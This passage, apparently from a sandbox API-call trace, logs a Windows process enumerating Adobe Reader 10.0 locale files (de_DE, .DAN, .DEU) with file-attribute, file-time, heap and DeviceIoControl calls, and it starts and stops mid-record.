BaseAddress=0x126cf08) returned 1 [0081.729] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0081.729] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DAN", cAlternateFileName="")) returned 1 [0081.729] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 1 [0081.729] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 0 [0081.729] GetLastError () returned 0x12 [0081.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.729] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.729] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0081.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.730] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.731] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1281138 [0081.731] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1281138, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1281138, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1281138) returned 1 [0081.731] NtClose (Handle=0x174) returned 0x0 [0081.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.732] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.734] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.734] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="")) returned 1 [0081.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12596e8 [0081.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126cf08 [0081.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.735] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DEU", cAlternateFileName="")) returned 1 [0081.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259708 [0081.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d118 [0081.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.737] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DEU", cAlternateFileName="")) returned 1 [0081.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259728 [0081.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d010 [0081.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.738] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DEU", cAlternateFileName="")) returned 1 [0081.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259748 [0081.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d430 [0081.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x69c0) returned 0x126d560 [0081.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a7b0) returned 1 [0081.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.740] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DEU", cAlternateFileName="")) returned 1 [0081.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259768 [0081.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230790 [0081.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.741] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DEU", cAlternateFileName="")) returned 1 [0081.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259788 [0081.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230fd0 [0081.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.743] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DEU", cAlternateFileName="")) returned 1 [0081.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12597a8 [0081.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230ec8 [0081.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.744] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DEU", cAlternateFileName="")) returned 1 [0081.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12597c8 [0081.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1273f40 [0081.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.747] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DEU", cAlternateFileName="")) returned 1 [0081.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12597e8 [0081.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274048 [0081.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.748] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Escript.deu", cAlternateFileName="")) returned 1 [0081.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259808 [0081.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274150 [0081.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.749] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DEU", cAlternateFileName="")) returned 1 [0081.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259828 [0081.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274258 [0081.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.751] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DEU", cAlternateFileName="")) returned 1 [0081.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259848 [0081.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274360 [0081.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.752] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DEU", cAlternateFileName="")) returned 1 [0081.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259868 [0081.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274468 [0081.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.754] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DEU", cAlternateFileName="")) returned 1 [0081.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259888 [0081.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274570 [0081.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.755] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DEU", cAlternateFileName="")) returned 1 [0081.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12598a8 [0081.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1274678 [0081.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.756] FindNextFileW (in: hFindFile=0x2e8f80, 